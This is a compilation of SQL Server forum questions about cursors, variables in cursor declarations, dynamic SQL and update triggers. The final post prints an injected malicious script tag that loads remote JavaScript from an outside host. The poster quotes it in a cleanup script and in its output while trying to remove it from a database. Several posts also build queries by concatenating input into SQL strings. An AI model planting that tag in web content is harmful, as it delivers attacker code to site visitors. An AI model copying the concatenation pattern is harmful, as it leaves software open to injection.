Variable As Field Name In CURSOR FOR UPDATE
Dec 10, 2005
I'm trying something like:
UPDATE tbl SET @varFieldName = @varValue
The procedure runs, and when I PRINT @varFieldName, it looks fine, but the table isn't getting updated, and no errors, wierd.
I have the CURSOR open for update, but I didn't list the field names, that shouldn't be a problem, as all fields should be updateable then.
To get the field name, I :
SET @varFieldName = 'SomeChars' + LTRIM(STR(asmallint)) + 'SomeMoreChars'
Thanks,
Carl
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Dec 7, 2007
UPDATE SCORESET QUAL_SCORE = ((SCORE - average_score)/deviation_score)*(-0.25) +((accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25))WHERE SCORES.DISABLEMENT_ZIP = v_disablement_zipAND SCORES.EQPMNT_CODE = v_eqpmnt_code;
is it possible to use this one query to update the QUAL_SCORE field without using cursor.if SCORE and deviation_score are 0, Then (SCORE - average_score)/deviation_score)*(-0.25) is 0,if accuracy_score and accuracy_deviation_score are 0, then (accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25 is 0.
Thanks
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Dec 7, 2006
I'm not sure about this one so if someone could help I'd appreciate this.
As shown below I've declared a variable name1 to be used in a while statement substituting for an object name in a select statement (2000 SP3a)
and throwing the shown error. Are variables allowed to be used to substitute for object names or is there another problem? Thanks.
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Dec 11, 2006
if i have the cursor
cursor:
cursor for
select name
from sysobjects
where type='P' AND category='0'
and wants a variable before sysobjects which equals a table name, so itll be:
cursor for
select name
from @variable..sysobjects
where type='P' AND category='0'
how do i include a variable within a cursor statement
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Jul 23, 2005
Hello All,Is there a T-SQL equivalent of the PL/SQL cursor rowtype datatype ?Thanks in advance
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Oct 12, 2005
I am currently using a cursor to scroll through sysobjects to extract table names and then extracting relevant column names from syscolumns.
I then need to run the following script:
declare Detail_Cursor cursor for
select @colname, max(len(@colname)) from @table
The message I receive is "must declare variable @table".
Immediately prior to this script I printed out the result of @table which works fine so the variable obviously is declared and populated.
Can anyone let me know what I'm doing wrong or how I can get the same result.
Thanks
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Dec 24, 2004
Hi All,
What i am trying to do is concatenate variable "@Where" with CURSOR sql statement,inside a procedure . But, it doesn't seem to get the value for
the @Where. (I tried with DEBUGGING option of Query Analyzer also).
=============================================
SET @Where = ''
if IsNull(@Input1,NULL) <> NULL
Set @Where = @Where + " AND studentid='" + @input1 +"'"
if isnull(@Input2,NULL) <> NULL
Set @Where = @Where + " AND teacherid =' " + @Input2 +"'"
DECLARE curs1 CURSOR SCROLL
FOR SELECT
firstname
FROM
school
WHERE
school ='ABC' + @where
=============================================
Please check my SQL Above and Could somebody tell me how can I attach the VARIABLE with CURSOR sql statement ?
Thanks !
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Feb 16, 2004
Hi,
I have a problem on setting the value for the variable in a declared cursor. Below is my example, I have declared the cursor c1 once at the top in a stored procedure and open it many times in a loop by setting the variable @str_var to different values. It seems the variable cannot be set after the cursor declared. Please advise how can I solve this issue.
------------------------------------------------------------------------
DECLARE @str_var VARCHAR(10)
DECLARE @field_val VARCHAR(10)
DECLARE c1 CURSOR LOCAL FOR
SELECT field1 FROM tableA WHERE field1 = @str_var
WHILE (Sometime TRUE)
BEGIN
....
SET @str_var = 'set to some values, eg. ABC123, XYZ123'
OPEN c1
FETCH c1 INTO @field_val
WHILE (@@fetch_status != -1)
BEGIN
PRINT @field_val
...
FETCH c1 INTO @field_val
END
CLOSE c1
END
DEALLOCATE c1
----------------------------------------------------------------------
Thanks a lots,
Vincent
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Mar 30, 2006
SQL Server 2000 SP4 with AWE hotfix. Windows 2003 SP1.I have a stored procedure which is not working the way I think itshould be.I have a CURSOR which has a variable in the WHERE clause:DECLARE get_tabs CURSOR local fast_forward FORSELECT distinct tablename, id, shcontig1dt, shcontig2dtFROM db_indWHERE dbname = @dbnameORDER BY tablenameIt won't return anything, even when I verify that @dbname has a valueand if I run the query in Query Analyzer with the value, it returnsrows:SELECT distinct tablename, id, shcontig1dt, shcontig2dtFROM db_indWHERE dbname = 'Archive'ORDER BY tablenameDB_Rpt_Fragmentation11575791622006-03-29 09:52:11.7772006-03-2909:52:11.823DtsAdtStdArchive_DataSourceType5175768822006-03-2909:52:11.8702006-03-29 09:52:11.887DtsADTstdArchiveNotUsed3575763122006-03-29 09:52:11.8872006-03-2909:52:12.103I've taken out most of the guts for simplicity, but here's what I'vegot:--CREATE TABLE dbo.db_ind--(--db_ind_tkintIDENTITY,-- id int NULL,-- tablename sysname NOT NULL,-- indid int NULL,-- indexname sysname NOT NULL,-- shcontig1dt datetime NULL,-- defragdt datetime NULL,-- shcontig2dt datetime NULL,-- reindexdt datetime NULL--)ALTER PROCEDURE IDR(@hours int)AS--SET NOCOUNT ON--SET ANSI_WARNINGS OFFDECLARE @tabname varchar(100),@indname varchar(100),@dbname varchar(50),@vsql varchar(1000),@v_hours varchar(4),@shcontig1dtdatetime,@shcontig2dtdatetime,@defragdtdatetime,@reindexdtdatetime,@idint,@indidint,@rundbcursorint,@runtabcursorint,@runindcursorintDECLARE get_dbs CURSOR local fast_forward FORSELECT dbnameFROM db_jobsWHERE idrdate < getdate() - 4or idrdate is nullORDER BY dbnameDECLARE get_tabs CURSOR local fast_forward FORSELECT distinct tablename, id, shcontig1dt, shcontig2dtFROM db_indWHERE dbname = @dbnameORDER BY tablenameDECLARE get_inds CURSOR local fast_forward FORSELECT indid, indexname, defragdt, reindexdtFROM db_indWHERE dbname = @dbnameAND tablename = @tabnameORDER BY indexnameOPEN get_dbsFETCH NEXT FROM get_dbsINTO @dbnameIF @@FETCH_STATUS = 0SELECT @rundbcursor = 1ELSESELECT @rundbcursor = 0SELECT @v_hours = CONVERT(varchar,@hours)--================================================== ================================================== =====--================================================== ================================================== =====--================================================== ================================================== =====WHILE @rundbcursor = 1BEGIN -- db whilePRINT '============================='PRINT @dbnamePRINT '============================='--================================================== ================================================== =====--================================================== ================================================== =====OPEN get_tabsFETCH NEXT FROM get_tabsINTO @tabname, @id, @shcontig1dt, @shcontig2dtIF @@FETCH_STATUS = 0BEGINPRINT 'table: ' + @tabnameSELECT @runtabcursor = 1endELSEBEGINPRINT 'not getting any tables! '-- <<<<< THIS IS WHERE IT HITSSELECT @runtabcursor = 0endWHILE @runtabcursor = 1BEGINPRINT @dbnamePRINT @tabname--================================================== ================================================== =====OPEN get_indsFETCH NEXT FROM get_indsINTO @indid, @indname, @defragdt, @reindexdtIF @@FETCH_STATUS = 0SELECT @runindcursor = 1ELSESELECT @runindcursor = 0WHILE @runindcursor = 1BEGINPRINT 'Index:' + @dbname + '.' + @tabname + '.' + @indnameFETCH NEXT FROM get_indsINTO @indid, @indname, @defragdt, @reindexdtIF @@FETCH_STATUS = 0SELECT @runindcursor = 1ELSESELECT @runindcursor = 0END-- 1st loop through indexesCLOSE get_inds--================================================== ================================================== =====--==========PRINT 'db.tab: ' + @dbname + '.' + @tabname--==========--================================================== ================================================== =====OPEN get_indsFETCH NEXT FROM get_indsINTO @indid, @indname, @defragdt, @reindexdtIF @@FETCH_STATUS = 0SELECT @runindcursor = 1ELSESELECT @runindcursor = 0WHILE @runindcursor = 1BEGINPRINT 'dbname: ' + @dbnamePRINT 'tabname: ' + @tabnamePRINT 'indname: ' + @indnameFETCH NEXT FROM get_indsINTO @indid, @indname, @defragdt, @reindexdtIF @@FETCH_STATUS = 0SELECT @runindcursor = 1ELSESELECT @runindcursor = 0END -- 2nd loop through indexesCLOSE get_inds--================================================== ================================================== =====FETCH NEXT FROM get_tabsINTO @tabname, @id, @shcontig1dt, @shcontig2dtIF @@FETCH_STATUS = 0SELECT @runtabcursor = 1ELSESELECT @runtabcursor = 0END-- loop through tablesCLOSE get_tabs--================================================== ================================================== =====--================================================== ================================================== =====PRINT 'Index Maintenence complete. Job report in[DB_Rpt_Fragmentation]'PRINT ''FETCH NEXT FROM get_dbsINTO @dbnameIF @@FETCH_STATUS = 0SELECT @rundbcursor = 1ELSESELECT @rundbcursor = 0END -- loop through databasesCLOSE get_dbsdeallocate get_dbsdeallocate get_tabsdeallocate get_inds--================================================== ================================================== =====--================================================== ================================================== =====--================================================== ================================================== =====GOAnd this is what I'm getting:=============================Archive=============================(0 row(s) affected)not getting any tables!Index Maintenence complete. Job report in [DB_Rpt_Fragmentation]......etc.Am I missing something obvious?Thank you for any help you can provide!!
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Aug 14, 2007
Hi,
I need a small help. In my stored procedure, i create a table variable and fill it with records based on my query. The ID field within the table is not continous and can have any value in increasing order .e.g. The ID sequence may be like 20, 33, 34, 59, 78, 79... I want to iterate through each record within the table but without using a Cursor. I want to use a loop for this purpose. There are many articles pointing out how to iterate through records in a table variable but that requires the IDs to be continous which is not possible in my case. Can anyone help me solve this problem...
Any help is appreciated...
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Nov 17, 1999
When I execute next query on sqlserver 6.5 nested in stored procedure I can see that 'open testCursor' selected rows using new value of @var. When I execute query on sqlserver 7.0 I can see that 'open testCursor' selected rows using value of @var before 'declare ... cursor'. Is there any way to force sqlserver 7.0 to proccess cursor like it did it before.
select @var = oldValue
declare testCursor cursor
for select someColumns
from someTable
where someColumn = @var
select @var = newValue
open testCursor
fetch next from testCursor into @someColumns
Thank's in advance.
Mirko.
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Oct 13, 2003
I'm trying to build a select statement for a CURSOR where part of the SQL statement is built using a variable.
The following fails to parse:
Declare Cursor1 Cursor
For
'select table_name from ' + @database + '.Information_Schema.Tables Where Table_Type = ''Base Table'' order by Table_Name'
Open cursor1
That doesn't work, I've also tried using an Execute() statement, no luck there either. Any ideas or suggestions are greatly appreciated.
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Jun 7, 2004
I can't seem to get a cursor to work when I'm passing in a variable for a column name of the select statement. For example:
declare @col varchar(50)
set @col = 'Temperature'
declare notifycurs cursor scroll for
select @col from Table
Obviously this won't work correctly (since the result will simply be 'Temperature' instead of the actual float value for temperature). I tried to use quotes for the entire statement with an EXEC
(ie. exec('select '+@col+' from Table' )
but that gave me an error.
Is there a way to pass in a variable for a column name for a curor select statement????
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Jul 5, 2006
Hi,
here is the code segment below;
...
DECLARE find_dates CURSOR FOR
SELECT @SQL = 'select DISTINC(Dates) from ['+@name+'].dbo.['+@t_name+'] order by [Dates] ASC'
EXEC (@SQL)
but it gives error, variable assignment is not allowed in a cursor declaration. I need to use dynamic SQL , the only way to access all the dbs and their tables inside. Please help.
thanks
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Feb 1, 2007
Hello All,
A select statement returns one column with more than one rows.Is there a way to store it in sql Variable without using a Cursor.
Thank you in advance
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Jan 28, 2008
Hello,
I have searched the net for an answer but could not find one. When I declare a table variable
and then try to insert fetched row into the table variable like:
Code Snippet
declare @table table (col1 nvarchar(50), col2 nvarchar(50))
declare curs for
select * from sometable
open curs
fetch next from curs into @table
it does not work. any help would be great.
thnx
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May 8, 2014
I am using a cursor (i know - but this is actually something that is a procedural loop).
So effectively i have a table of names of stored procedures. I now have a store proc that loops around these procs and runs each one in order.
Now i am thinking i would like to be able to set the table it loops around in a variable at the start - is it possible to do this? So effectively use a tablename in a variable to use in the sql to define a cursor?
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Sep 9, 2014
The below cursor is giving an error
DECLARE @Table_Name NVARCHAR(MAX) ,
@Field_Name NVARCHAR(MAX) ,
@Document_Type NVARCHAR(MAX)
DECLARE @SOPCursor AS CURSOR;
SET
@SOPCursor = CURSOR FOR
[Code] ....
The @Table_Name variable is declared, If I replace the delete statement (DELETE FROM @Table_Name ) with (PRINT @table_name) it works and print the table names.
Why does the delete statement give an error ?
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Jul 23, 2005
After trying every way I could come up with I can't get a filter clauseto work with a passed variable ...I have a cursor that pulls a filter string from a table (works OK),then I want to use that filter in a second cursor, but can't get thesyntax ...@bakfilter is equal to "MISV2_db_%.BAK" before I try to open and fetchfrom the second cursor. Here is the cursor declaration:DECLARE curFiles CURSOR FORSELECT FileName, FileDateFROM DataFileWHERE (((Active)=1) AND ((FileName) LIKE '@bak_filter'))ORDER BY FileDate DESCWhat do I need to do to get it to use the string contained in@bak_filter?Thanks in advance, Jim
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Jun 7, 2006
Hi All,
I failed to find record when using variable in cursor in WHERE clause:
ID is uniqueidentifier field in the table
DECLARE @EncounterID uniqueidentifier
........
WHERE ID = @EncounterID -> this does not work, though @EncounterID is set properly and can see its value in debugger
WHERE ID = 'E3AE2C5B-06F2-4A3C-A3A4-7D6CC43DE012' -> this works fine and record found
Tried to CAST(@EncounterID as char(40)) but still no luck.
I would greatly appreciate any advise hot to make it working.
Thank you very much in advance
Roman
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Mar 28, 2000
Hi
I am ramesh here from go-events.com
I am using sql mail to send out emails to my mailing list
I have difficulty combining a select statement with a where clause stored in a variable inside a cursor
The users select the mail content and frequency of delivery and i deliver the mail
I use lots of queries and a stored procedure to retrieve thier preferences. In the end i use a cursor to send out mails to each of them.
Because my query is dynamic, the where clause of my select statement is stored in a variable. I have the following code
that does not work
For example
DECLARE overdue3 CURSOR
LOCAL FORWARD_ONLY
FOR SELECT DISTINCT Events.E_Name, Events.E_SDate, Events.E_City, Events.E_ID FROM Events, IndustryEvents + @sqlquery2
OPEN overdue3
I get an error message at the '+' sign
which says, cannot use empty object or column names, use a single
space if necessary
How do I combine the select statement with the where clause?
Help me...I need help urgently
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Oct 3, 2006
Hi all.
I am stuck in a bit of a conundrum for quite a while now, and I hope someone here will help me figure this one out.
So, first things first: let me explain what I need to do. I am
designing a web application that will allow users to consult info
available in a SQL2000 database. The user will enter the search
criterea, and hopefully the web page will show matching results.
The problem is the results shown aren't available per se in the DB, I
need to process the data a bit. I decided to do so on the SQL Server
side, though the use of cursors. So, when a user defines his search
criteria, I run a stored procedure that begins by building a dynamic
sql query and creating a cursor for it. I used a global cursor in order
to do so. It looked something like this:
SET @sqlQuery = ... (build the dinamic sql query)
SET @cursorQuery = 'DECLARE myCursor CURSOR GLOBAL FAST_FORWARD FOR ' + @sqlQuery
EXEC @cursorQuery
OPEN myCursor
FETCH NEXT FROM myCursor INTO ...
CLOSE myCursor
DEALLOCATE myCursor
This works fine, if there's only one instance of the
stored procedure running at a time. Should another user connect to the
site and run a search while someone's at it, it'll fail due to the
atempt to create a cursor with the same name.
My first thought was to make the cursor name unique, which led me to:
...
SET @cursorName = 'myCursor' + @uniqueUserID
SET @cursorQuery = 'DECLARE '+ @cursorName + 'CURSOR FAST_FORWARD FOR ' + @sqlQuery
EXEC @cursorQuery
...
The problem with this is that I can't do a FETCH NEXT FROM @cursorName since
@cursorName is a char variable holding the cursor name, and not a
cursor variable. So to enforce this unique name method the only option
I have is to keep creating dynamic sql queries and exucting them. And
this makes the sp a bitch to develop and maintain, and I'm guessing it
doesn't make it very performant.
So I moved on to my second idea: local cursor variables. The problem with
this is that if I create a local cursor variable by executing a dynamic
query, I can't extract it from the EXEC (or sp_executesql) context, as
it offers no output variable.
I guess my concrete questions are:
Is it possible to execute a dynamic sql query and extract a (cursor) variable from it?Is it possible to populate a local cursor variable with a global cursor, by providing the global cursor's name?Can I create a local cursor variable for a dynamic sql query? How?
Anybody sees another way arround this?Thanks in advance,
Carlos
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Dec 20, 2001
hi,
can anybody give me an example of an update cursor. With wich i mean 'cursor for update ...'.
i want to make a cursor that selects a whole table, then checks a field and if this field matches my requests, then update it.
I have no experience with cursors.
Thanx in advance.
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Nov 11, 2013
I want to update a field with a trigger only if a specific field is updated.
When I try the code below, it updates the field when any field in the record is updated. Is there a way to only make look at picked_dt?
ALTER TRIGGER [dbo].[UpdatePickedDate]
on [dbo].[oeordlin_sql]
after update
AS
BEGIN
-- SET NOCOUNT ON added to prevent extra result sets from
[Code] .....
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Apr 16, 2015
If I have a table with 1 or more Nullable fields and I want to make sure that when an INSERT or UPDATE occurs and one or more of these fields are left to NULL either explicitly or implicitly is there I can set these to non-null values without interfering with the INSERT or UPDATE in as far as the other fields in the table?
EXAMPLE:
CREATE TABLE dbo.MYTABLE(
ID NUMERIC(18,0) IDENTITY(1,1) NOT NULL,
FirstName VARCHAR(50) NULL,
LastName VARCHAR(50) NULL,
[Code] ....
If an INSERT looks like any of the following what can I do to change the NULL being assigned to DateAdded to a real date, preferable the value of GetDate() at the time of the insert? I've heard of INSTEAD of Triggers but I'm not trying tto over rise the entire INSERT or update just the on (maybe 2) fields that are being left as null or explicitly set to null. The same would apply for any UPDATE where DateModified is not specified or explicitly set to NULL. I would want to change it so that DateModified is not null on any UPDATE.
INSERT INTO dbo.MYTABLE( FirstName, LastName, DateAdded)
VALUES('John','Smith',NULL)
INSERT INTO dbo.MYTABLE( FirstName, LastName)
VALUES('John','Smith')
INSERT INTO dbo.MYTABLE( FirstName, LastName, DateAdded)
SELECT FirstName, LastName, NULL
FROM MYOTHERTABLE
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May 9, 2012
I would like to get the results of a cursor into update statement but it fills only the last record of the cursor
this is the cursor:
Code:
DECLARE @avg varchar(50)
DECLARE @cur_avg CURSOR
SET @cur_avg = CURSOR FOR
select cast(avg(cast(reply as decimal(12,2))) as decimal(12,2)) from tbl_app_monitoring
group by test_name, application_id
this is the update statement:
Code:
OPEN @cur_avg
FETCH @cur_avg INTO @avg
WHILE (@@FETCH_STATUS = 0) BEGIN
UPDATE tbl_app_monitoring_archive
SET average = @avg
FETCH @cur_avg INTO @avg
END
is it also possible to do this without the cursor ?
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Apr 20, 2004
Please tell me how to code the Update of the current cursor record as one would do using VD/ADO :
VB: Table("Fieldname") = Value
----------------------------------------------------------
Declare @NextNo integer
Select @NextNo = (Select NextNo from NextNumbers where NNId = 'AddressBook') + 1
--Create a Cursor through wich to lo loop and Update the ABAN8 with the corrrect NextNo
DECLARE Clone_Cursor CURSOR FOR Select ABAN8 from JDE_Train.trndta.F0101_Clone
Open Clone_Cursor
Fetch Next from Clone_Cursor
WHILE @@FETCH_STATUS = 0
BEGIN
Select @NextNo = @NextNo + 1
Clone_Cursor("ABAN8") = @NextNo
Update Clone_Cursor
FETCH NEXT FROM Clone_Cursor
END
CLOSE Clone_Cursor
DEALLOCATE Clone_Cursor
GO
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Jul 20, 2005
I need to do something relatively simple…I need to update a table using a cursor. (I may have to create astored procedure for doing this…)I need to declare an update cursor, fetch the cursor and update thedata (and presumably close the cursor and de-allocate it…The update query is as follows… Would anyone there know how todeclare the cursor for update and use it?UPDATE ASET A.Field1 =(SELECT B.Field1FROM B INNER JOIN A ON A.id = B.id)I need to know how to declare the cursor and fetch it.Can anyone give me an example of the code I need for the SQL Server?Thanks!
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Mar 11, 2008
How do you do this by using this cursor mechanisum ? and which type of cursor is best to do that ?
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Dec 7, 2006
I've implemented a UDF in SQL Server 2005 written in C#. The function with its assembly has been registered ok with SQL Server and works fine. It accepts three short strings (nvarchar of lengths 5, 35, and 35) and returns a SQL formatted string (SqlString).
When I run the function to test it it works just fine, and the same is true if I run the function inside a cursor to update a field in a table. But when I do a simple update it crashes. I've so far received two different errors: first one error saying a string could not be converted into an integer (but the error does not occur when I enter the same input values manually via a test Windows form, or through the new Query Analyzer as a single query - or using it inside a cursor). Then one error saying a string was too short (I couldn't use substring(X, Y) because the string, I was told, was too short - it wasn't).
The problem thus cannot be with the function since it works just fine if I do like this:
UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3) WHERE PersonId = 10000001
And it works fine while doing the same thing inside a cursor (for instance working with the first 10, 100 or 1000 records).
But when I do this it crashes:
UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3)
For your information the table has about 1.5M records (for testing, it contain more data when on the production server) and my aim is to update the CodeField column as quickly as possible. The CodeField is a 12-character string that is based on a rather complex algorithm including the Field1, Field2 and Field3 strings. I'm using C# because it manages strings much better than SQL Server - and it is so much easier coding this stuff.
Anyhow, I've had this kind of problem before with SQL Servers 2000 and 7 (maybe even 6.5) and it seems the problem occurs when I let SQL Server go about its business at its own pace. But when I do something to control that it really takes one record at a time (through using a cursor or executing the query with a WHERE clause like the one above) it works splendidly.
The problem here is that a cursor is way too slow, and there really shouldn't be a problem with a simple UPDATE command, should it? After all, everything works just fine except when I let SQL Server do what it does best (i.e. update the field at its own speed, whatever that is).
Any ideas? This is very frustrating since it is impossible to try and find the error - it isn't there when testing! And it is frustrating since I remember having had the same kind of problem (but every time with different errors arising) before without finding a solution (except for slowing everything down - not an option here).
Is there a certain tweak I can do to make things work out, or should I code things differently?
Thanks!
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Mar 30, 2004
Hi all,
I have a problem about a query to update a table
UPDATE Email SET EmailDT='31 Mar 2004' WHERE Idx={BDF51DBD-9E4F-4990-A751-5B25D071E288}
where Idx field is a uniqueidentifier type and EmailDT is datetime type. I found that when this query calling by a VB app. then it have error "[Microsoft][ODBC SQL Server Driver]Syntax error or access violation" and i have tried again in Query Analyzer, same error also occur, the MS SQL server is version 7. Please help. thanks.
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May 12, 2006
Not a SQL guy but can do enough to be dangerous :)Trying to update a record. We have records that have a field with datasurrounded by some comment text such as *** Previous Public Solution*** Start and *** Previous Public Solution *** End . What I am tryingto do is write a SQL statement that will:Check that field C100 = TICKET0001 (to test with one record beforerunning on whole db)Check that field C101 is = ClosedCheck that field C102 is nullCopy field C103 data to field C102 and strip out any words such as ***Previous Public Solution *** Start and *** Previous Public Solution*** endThanks for any help!Kevin
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Feb 1, 2008
So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls.
Code:
use db7021
go
select * from products
go
declare @desc varchar(max)
declare @virus varchar(128)
set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>'
declare @start int
declare @end int
declare thecursor CURSOR LOCAL SCROLL_LOCKS
for select cdescription from products
where cdescription like ('%' + @virus + '%')
for update of cdescription
open thecursor
fetch next from thecursor into @desc
while @@FETCH_STATUS = 0
begin
print @desc
set @start = charindex(@virus, @desc)
set @end = @start + len(@virus)
print cast(@start as char) + ', ' + cast(@end as char)
set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1)
update products
set cdescription = @desc
where current of thecursor
fetch next from thecursor into @desc
end
close thecursor
deallocate thecursor
select * from products
go
Which produces the output:
Code:
id cname cdescription
----------- ----------- ----------------------------------------------------------------------------------------
1 banana sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
2 apple sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
3 lolcat sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
4 cheezburgr sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
(4 row(s) affected)
sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
id cname cdescription
----------- ------------ ------------
1 banana NULL
2 apple NULL
3 lolcat NULL
4 cheezburgr NULL
(4 row(s) affected)
I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs.
Maybe I've missed something in the syntax for cursors?
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